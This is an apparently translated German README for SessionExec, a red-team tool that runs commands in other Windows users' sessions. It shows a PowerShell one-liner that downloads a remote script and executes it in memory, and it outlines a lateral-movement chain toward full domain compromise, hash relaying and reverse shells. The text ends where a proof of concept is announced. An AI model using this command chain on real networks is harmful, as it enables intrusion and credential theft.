Mit SessionExec können Sie bestimmte Befehle in anderen Sitzungen auf Windows-Systemen ausführen, entweder für eine bestimmte Sitzungs-ID oder für alle Sitzungen, mit der Option, die Befehlsausgabe zu unterdrücken.
Das Tool ist vom Exploit-Code EOP COM Session Moniker inspiriert, der vor langer Zeit von James Forshaw veröffentlicht wurde.
SessionExec nutzt Windows-APIs, um Sitzungsinformationen abzufragen und Prozesse innerhalb dieser Sitzungen zu erstellen.
Kompilieren Sie SessionExec.cs, indem Sie den folgenden Befehl von Build Tools für Visual Studio ausführen
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
Oder Sie können Invoke-SessionExec.ps1
verwenden, bei dem es sich um dasselbe Skript handelt, das jedoch mit der Methode „Reflective Load“ im Speicher ausgeführt wird.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
Hier finden Sie auch eine reine Powershell-Implementierung dieses von The-Viper-One codierten Tools
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
Überprüfen Sie mit dem Befehl quser
welche Sitzungen verfügbar sind. Führen Sie dann einen Befehl für eine bestimmte Sitzung oder All
Sitzungen aus.
Wenn Sie ein lokaler Administrator auf einem oder mehreren Computern in einem Netzwerk sind und auf diesen Zielen Benutzersitzungen vorhanden sind, können Sie SessionExec und Find-LocalAdminAccess zusammen verwenden, um zu überprüfen, ob einer dieser Benutzer lokalen Administratorzugriff auf andere Computer in hat das Netzwerk.
Wenn dies der Fall ist, können Sie den Vorgang für Benutzer wiederholen, die eine Sitzung auf diesen Computern haben. Diese Aktionskette könnte theoretisch zu einer vollständigen Kompromittierung der Domain führen.
Darüber hinaus können Sie mit Amnesiac Shells zurückholen, NTLMv2-Hashes erfassen und weiterleiten, TGTs abrufen und vieles mehr, alles auf automatisierte Weise.
Ich werde dieses Konzept in Amnesiac implementieren und zusammen mit The-Viper-One arbeiten wir daran, es auch in PsMapExec zu implementieren.
Hier ist zunächst ein Proof of Concept (PoC):